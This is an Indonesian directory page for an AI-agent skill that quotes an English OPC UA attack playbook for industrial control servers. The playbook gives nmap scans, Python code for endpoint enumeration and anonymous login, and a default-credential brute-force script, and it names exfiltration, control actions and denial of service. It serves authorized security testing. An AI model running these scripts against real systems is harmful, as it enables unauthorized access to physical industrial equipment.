opcua
Fungsinya
Panduan ini membahas pemeriksaan keamanan untuk OPC UA, protokol industri modern yang bisa berjalan dengan atau tanpa keamanan. Panduan ini untuk tim keamanan pabrik dan TI dengan persetujuan tertulis.
Kapan dipakai
- βSaat sebuah tinjauan resmi perlu memeriksa apakah server OPC UA mengizinkan akses anonim.
- βSaat Anda ingin melihat kebijakan keamanan mana yang dipakai server industri.
- βSaat Anda perlu menelusuri data status tanpa memanggil metode kontrol apa pun.
Link skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.mdSalin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.
Cara pakai
Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.
Pesan siap tempel
Untuk Claude Code, Codex, atau Cursor: jalankan di folder proyek, lalu skill langsung terpasang.
Unduh SKILL.md lalu taruh di folder skill agen Anda.
Contoh permintaan ke AI
βBisakah Anda memeriksa server OPC UA kami untuk akses anonim dan kebijakan keamanan yang lemah, dengan penelusuran hanya-baca?β
5 skill baru setiap minggu. 1 menit baca.
Cara kerjanya
Agent meminta setiap server untuk endpoint dan kebijakan keamanannya, memeriksa apakah sesi anonim diizinkan, lalu menelusuri nilai status tanpa memanggil metode kontrol.
Konten teknis (SKILL.md asli)
Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.
OPC-UA Attack Playbook (TCP 4840)
OPC-UA is the dominant modern IT/OT convergence protocol β Siemens, ABB, Rockwell, Honeywell, and most new DCS/SCADA deployments expose it alongside or instead of legacy fieldbus. It supports security (signing + encryption) but many deployments leave SecurityPolicy: None active for "backwards compatibility," giving full unauthenticated access to the address space.
SAFETY FIRST
OPC-UA Method calls can directly invoke control actions (start/stop, setpoint override, firmware update). Confirm written scope authorization before any call to Method nodes or write to Variable nodes. Read-only browsing (BrowseRequest, ReadRequest on status/telemetry nodes) is generally safe.
Prerequisites
# Install asyncua (successor to python-opcua / opcua-asyncio)
pip install asyncua
# Also useful: opcua-client GUI (optional), opcua-scan
pip install opcua-scan
# OR clone Wavestone opcua-scan:
# git clone https://github.com/wavestone-cdt/opcua-scan
# Confirm target reachability
nmap -p 4840 --open -sV 10.0.0.0/24
Phase 1 β Discover
# nmap service banner on 4840
nmap -p 4840 -sV --script=opcua-discovery 10.0.0.5
# OPC UA Hello probe β get the server's application description
# opcua-scan sends a HEL/ACK and reads GetEndpoints without connecting to a session
python3 -m opcuascan 10.0.0.5:4840
# Output includes: ProductName, ApplicationUri, SecurityPolicies, supported UserIdentityTokens
Phase 2 β GetEndpoints (unauthenticated policy enumeration)
GetEndpoints is always available without a session β it's the pre-auth discovery call.
import asyncio
from asyncua import Client
async def get_endpoints():
url = "opc.tcp://10.0.0.5:4840"
# Use None security policy β client sends HEL, gets ACK, calls GetEndpoints
async with Client(url=url) as client:
endpoints = await client.get_endpoints()
for ep in endpoints:
print(f"URL: {ep.EndpointUrl}")
print(f" SecurityMode: {ep.SecurityMode}") # 1=None, 2=Sign, 3=SignAndEncrypt
print(f" SecurityPolicy: {ep.SecurityPolicyUri}")
for tok in ep.UserIdentityTokens:
print(f" Token: {tok.TokenType}") # 0=Anonymous, 1=UserName, 2=Certificate, 3=IssuedToken
asyncio.run(get_endpoints())
Key findings to record:
SecurityMode: 1(None) +SecurityPolicy: http://opcfoundation.org/UA/SecurityPolicy#Noneβ plaintext, no signing. Traffic is readable in Wireshark.TokenType: 0(Anonymous) accepted β no credentials needed.TokenType: 1(UserName) present β attempt default/dictionary creds.
Phase 3 β Auth testing
Anonymous connect
import asyncio
from asyncua import Client
async def anon_connect():
url = "opc.tcp://10.0.0.5:4840/OPCUA/SimulationServer"
async with Client(url=url) as client:
# No credentials set β asyncua defaults to Anonymous token
root = client.get_root_node()
print("Root node:", await root.read_browse_name())
# Successful connection here = Anonymous accepted
server_node = client.get_server_node()
status = await server_node.get_child(["0:ServerStatus"])
print("Server status:", await status.read_value())
asyncio.run(anon_connect())
Username/password dictionary attack
import asyncio
from asyncua import Client
from asyncua.ua import uaerrors
DEFAULT_CREDS = [
("admin", "admin"), ("administrator", "administrator"),
("opcua", "opcua"), ("user", "user"), ("guest", ""),
("operator", "operator"), ("root", "root"), ("OpcUaClient", ""),
("Anonymous", ""), ("siemens", "siemens"), ("admin", ""),
]
async def brute_opcua(url):
for user, pwd in DEFAULT_CREDS:
try:
async with Client(url=url) as client:
await client.set_user(user)
await client.set_password(pwd)
await client.connect()
print(f"[+] VALID: {user}:{pwd}")
return user, pwd
except uaerrors.BadUserAccessDenied:
print(f"[-] {user}:{pwd} β denied")
except uaerrors.BadIdentityTokenRejected:
print(f"[-] {user}:{pwd} β rejected")
except Exception as e:
print(f"[!] {user}:{pwd} β {e}")
return None, None
asyncio.run(brute_opcua("opc.tcp://10.0.0.5:4840"))
Phase 4 β Address-space browsing and tag read
Once authenticated (anonymous or credentialed):
import
Pertanyaan umum
Apa arti kebijakan keamanan None?
Artinya server dapat berjalan tanpa penandatanganan atau enkripsi, yang menurut panduan ini masih dibiarkan pada sebagian penerapan.
Mengapa menghindari pemanggilan metode?
Pemanggilan metode dapat memulai atau menghentikan peralatan, sehingga memerlukan izin tertulis yang tegas.
Di mana OPC UA dipakai?
Panduan ini menyebutkan bahwa protokol ini umum di proyek kontrol industri baru dan proyek konvergensi TI dan OT.
Detail
Deskripsi asli dari pembuat
OPC-UA (TCP 4840) attack playbook β endpoint enumeration, SecurityPolicy mapping, anonymous/weak-auth abuse, address-space browsing and tag read, HistoryRead exfiltration, Method call for control actions, session-exhaustion DoS. Modern IT/OT DMZ convergence protocol replacing legacy fieldbus.
Popularitas
- Bintang GitHub
- 6.5k
- Peringkat
- #14039
- Lisensi
- Apache-2.0
- Diperbarui
- 1/11/2026
Komentar
- β¦
Skill lain dari repositori ini
detector-overview
6.5kMembantu agent Anda membaca kode yang ditandai pemindai dan memutuskan titik mana yang benar-benar bug keamanan dan mana yang alarm palsu.
exploiter-overview
6.5kMembantu agent Anda menggabungkan beberapa kelemahan keamanan yang terkonfirmasi menjadi satu rantai uji dan memeriksa sejauh mana rantai itu bisa mencapai.
llm-redteam-overview
6.5kMembantu agent Anda menemukan panduan red-team AI yang tepat untuk sebuah uji, mencakup 15 kelompok taktik dari prompt injection sampai penyalahgunaan model.
aatmf-t01-prompt-injection
6.5kMenjelaskan prompt injection, yaitu instruksi tersembunyi yang berusaha mengalahkan sistem AI, agar penguji keamanan dapat memeriksanya.
Skill serupa
reverse-engineer-anything
422kMembantu agent Anda memeriksa aplikasi dan paket yang sudah dirilis untuk menjelaskan fitur, membandingkan versi, atau memandu pembangunan ulang dengan alat REA.
1password
394kMembantu agent Anda mengatur CLI 1Password, masuk, serta membaca atau menyisipkan rahasia tanpa menampilkan nilainya di chat.
healthcheck
394kMembantu agent Anda mengaudit komputer atau server OpenClaw dari risiko keamanan seperti SSH, firewall, pembaruan, dan cadangan, lalu menyarankan perbaikan aman.